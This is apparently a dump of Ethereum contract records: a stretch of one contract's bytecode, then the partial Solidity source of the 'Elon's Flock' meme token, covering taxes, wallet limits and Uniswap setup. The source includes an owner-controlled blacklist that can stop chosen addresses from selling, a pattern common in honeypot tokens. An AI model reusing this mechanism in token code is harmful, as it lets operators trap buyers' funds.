ff169060200190929190505050612907565b6040518082815260200191505060405180910390f35b348015610d2957600080fd5b50610d3261294f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d72578082015181840152602081019050610d57565b50505050905090810190601f168015610d9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610db957600080fd5b50610dc26129f1565b604051808215151515815260200191505060405180910390f35b348015610de857600080fd5b50610fa1600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612ab9565b604051808215151515815260200191505060405180910390f35b348015610fc757600080fd5b50610fd0612ec4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561101e57600080fd5b50611027612eea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561106757808201518184015260208101905061104c565b50505050905090810190601f1680156110945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156110ae57600080fd5b506110b7612f88565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110f75780820151818401526020810190506110dc565b50505050905090810190601f1680156111245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561113e57600080fd5b50611147613026565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561118757808201518184015260208101905061116c565b50505050905090810190601f1680156111b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156111ce57600080fd5b506111d76130c8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156112175780820151818401526020810190506111fc565b50505050905090810190601f1680156112445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561125e57600080fd5b5061129d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061316a565b604051808215151515815260200191505060405180910390f35b3480156112c357600080fd5b506112cc6132d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130c5780820151818401526020810190506112f1565b50505050905090810190601f1680156113395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561135357600080fd5b5061135c61336e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139c578082015181840152602081019050611381565b50505050905090810190601f1680156113c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156113e357600080fd5b506113ec6133ab565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561142c578082015181840152602081019050611411565b50505050905090810190601f1680156114595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561147357600080fd5b5061147c61344d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156114bc5780820151818401526020810190506114a1565b50505050905090810190601f1680156114e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561150357600080fd5b50611588600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506134eb565b604051808215151515815260200191505060405180910390f35b3480156115ae57600080fd5b506115b7613789565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156115f75780820151818401526020810190506115dc565b50505050905090810190601f1680156116245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561163e57600080fd5b5061164761382b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561168757808201518184015260208101905061166c565b50505050905090810190601f1680156116b45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156116ce57600080fd5b50611723600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506138c9565b6040518082815260200191505060405180910390f35b34801561174557600080fd5b5061174e613950565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561178e578082015181840152602081019050611773565b50505050905090810190601f1680156117bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156117d557600080fd5b506117de6139ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561181e578082015181840152602081019050611803565b50505050905090810190601f16801561184b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561186557600080fd5b5061186e613a8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118ae578082015181840152602081019050611893565b50505050905090810190601f1680156118db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156118f557600080fd5b5061192a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613b2a565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d55780601f106119aa576101008083540402835291602001916119d5565b820191906000526020600020905b8154815290600101906020018083116119b857829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b675780601f10611b3c57610100808354040283529160200191611b67565b820191906000526020600020905b815481529060010190602001808311611b4a57829003601f168201915b5050505050905090565b60025481565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611caf5780601f10611c8457610100808354040283529160200191611caf565b820191906000526020600020905b815481529060010190602001808311611c9257829003601f168201915b505050505081565b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d4f5780601f10611d2457610100808354040283529160200191611d4f565b820191906000526020600020905b815481529060010190602001808311611d3257829003601f168201915b5050505050905090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611e25575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611e315750600082115b15611fc657816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611fcb565b600090505b9392505050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206a5780601f1061203f5761010080835404028352916020019161206a565b820191906000526020600020905b81548152906001019060200180831161204d57829003601f168201915b5050505050905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561210c5780601f106120e15761010080835404028352916020019161210c565b820191906000526020600020905b8154815290600101906020018083116120ef57829003601f168201915b5050505050905090565b6000600a0a60640281565b600081565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121be5780601f10612193576101008083540402835291602001916121be565b820191906000526020600020905b8154815290600101906020018083116121a157829003601f168201915b5050505050905090565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561225e5780601f106122335761010080835404028352916020019161225e565b820191906000526020600020905b81548152906001019060200180831161224157829003601f168201915b505050505081565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fc5780601f106122d1576101008083540402835291602001916122fc565b820191906000526020600020905b8154815290600101906020018083116122df57829003601f168201915b505050505081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b600360149054906101000a900460ff1615151561237e57600080fd5b61239382600254613c8290919063ffffffff16565b6002819055506123ea826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c8290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156124fa57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561254757600080fd5b33905061259b826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ca090919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f282600254613ca090919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60606040805190810160405280600781526020017f4d72204c6f6e6700000000000000000000000000000000000000000000000000815250905090565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561271f5780601f106126f45761010080835404028352916020019161271f565b820191906000526020600020905b81548152906001019060200180831161270257829003601f168201915b5050505050905090565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127bf5780601f10612794576101008083540402835291602001916127bf565b820191906000526020600020905b8154815290600101906020018083116127a257829003601f168201915b505050505081565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561285d5780601f106128325761010080835404028352916020019161285d565b820191906000526020600020905b81548152906001019060200180831161284057829003601f168201915b505050505081565b606060118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128fd5780601f106128d2576101008083540402835291602001916128fd565b820191906000526020600020905b8154815290600101906020018083116128e057829003601f168201915b5050505050905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129e75780601f106129bc576101008083540402835291602001916129e7565b820191906000526020600020905b8154815290600101906020018083116129ca57829003601f168201915b5050505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4f57600080fd5b600360149054906101000a900460ff16151515612a6b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600086600c9080519060200190612ad1929190613cb9565b5085600d9080519060200190612ae8929190613cb9565b5084600e9080519060200190612aff929190613cb9565b5083600f9080519060200190612b16929190613cb9565b508260109080519060200190612b2d929190613cb9565b508160119080519060200190612b44929190613cb9565b507f76b794936344483a0e529b4c747bdaccfc63ce7d42758c188d25a4924cefd339600c600d600e600f601060116040518080602001806020018060200180602001806020018060200187810387528d818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c0f5780601f10612be457610100808354040283529160200191612c0f565b820191906000526020600020905b815481529060010190602001808311612bf257829003601f168201915b505087810386528c818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c925780601f10612c6757610100808354040283529160200191612c92565b820191906000526020600020905b815481529060010190602001808311612c7557829003601f168201915b505087810385528b818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d155780601f10612cea57610100808354040283529160200191612d15565b820191906000526020600020905b815481529060010190602001808311612cf857829003601f168201915b505087810384528a818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d985780601f10612d6d57610100808354040283529160200191612d98565b820191906000526020600020905b815481529060010190602001808311612d7b57829003601f168201915b5050878103835289818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e1b5780601f10612df057610100808354040283529160200191612e1b565b820191906000526020600020905b815481529060010190602001808311612dfe57829003601f168201915b5050878103825288818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e9e5780601f10612e7357610100808354040283529160200191612e9e565b820191906000526020600020905b815481529060010190602001808311612e8157829003601f168201915b50509c5050505050505050505050505060405180910390a1600190509695505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f805780601f10612f5557610100808354040283529160200191612f80565b820191906000526020600020905b815481529060010190602001808311612f6357829003601f168201915b505050505081565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561301e5780601f10612ff35761010080835404028352916020019161301e565b820191906000526020600020905b81548152906001019060200180831161300157829003601f168201915b505050505081565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130be5780601f10613093576101008083540402835291602001916130be565b820191906000526020600020905b8154815290600101906020018083116130a157829003601f168201915b5050505050905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131605780601f1061313557610100808354040283529160200191613160565b820191906000526020600020905b81548152906001019060200180831161314357829003601f168201915b5050505050905090565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156131ba5750600082115b156132c557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506132ca565b600090505b92915050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133665780601f1061333b57610100808354040283529160200191613366565b820191906000526020600020905b81548152906001019060200180831161334957829003601f168201915b505050505081565b60606040805190810160405280601281526020017f7072697661746520636f6c6c656374696f6e0000000000000000000000000000815250905090565b606060108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134435780601f1061341857610100808354040283529160200191613443565b820191906000526020600020905b81548152906001019060200180831161342657829003601f168201915b5050505050905090565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134e35780601f106134b8576101008083540402835291602001916134e3565b820191906000526020600020905b8154815290600101906020018083116134c657829003601f168201915b505050505081565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b8381101561372c578082015181840152602081019050613711565b50505050905090810190601f1680156137595780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015151561377e57600080fd5b600190509392505050565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138215780601f106137f657610100808354040283529160200191613821565b820191906000526020600020905b81548152906001019060200180831161380457829003601f168201915b5050505050905090565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138c15780601f10613896576101008083540402835291602001916138c1565b820191906000526020600020905b8154815290600101906020018083116138a457829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139e65780601f106139bb576101008083540402835291602001916139e6565b820191906000526020600020905b8154815290600101906020018083116139c957829003601f168201915b505050505081565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a845780601f10613a5957610100808354040283529160200191613a84565b820191906000526020600020905b815481529060010190602001808311613a6757829003601f168201915b505050505081565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b8657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613bc257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515613c9657fe5b8091505092915050565b6000828211151515613cae57fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cfa57805160ff1916838001178555613d28565b82800160010185558215613d28579182015b82811115613d27578251825591602001919060010190613d0c565b5b509050613d359190613d39565b5090565b613d5b91905b80821115613d57576000816000905550600101613d3f565b5090565b905600a165627a7a72305820bb041b8bc36a0eb60d9b2b9d1ff57f1e8191658b871b2ae7122600929450c8670029
|
{"success": true, "error": null, "results": {}}
| 5,329 |
0x09e9f76cce653b2617a881d6ea1f5389dc33dd20
|
/**
*Submitted for verification at Etherscan.io on 2022-04-28
*/
/**
Elon's Flock
Buy Tax : 7%
Sell Tax : 9%
Total Supply : 1.000.000.000
Max Buy : 1.5%
Max Wallet : 2%
Telegram : https://t.me/elonsflock
Website : https://elonflock.online
Twitter : https://twitter.com/ElonsFlock
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_dev = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier onlyDev() {
require(_dev == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonsFlock is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,7,0,9);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 20;
string private constant _name = "Elon's Flock";
string private constant _symbol = "$EFLOCK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xD158840266235c7a45965cec40EE0490421B5665);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyDev {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external onlyDev() {
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 22_500_000 * 10**9;
_maxWalletSize = 30_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyDev {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
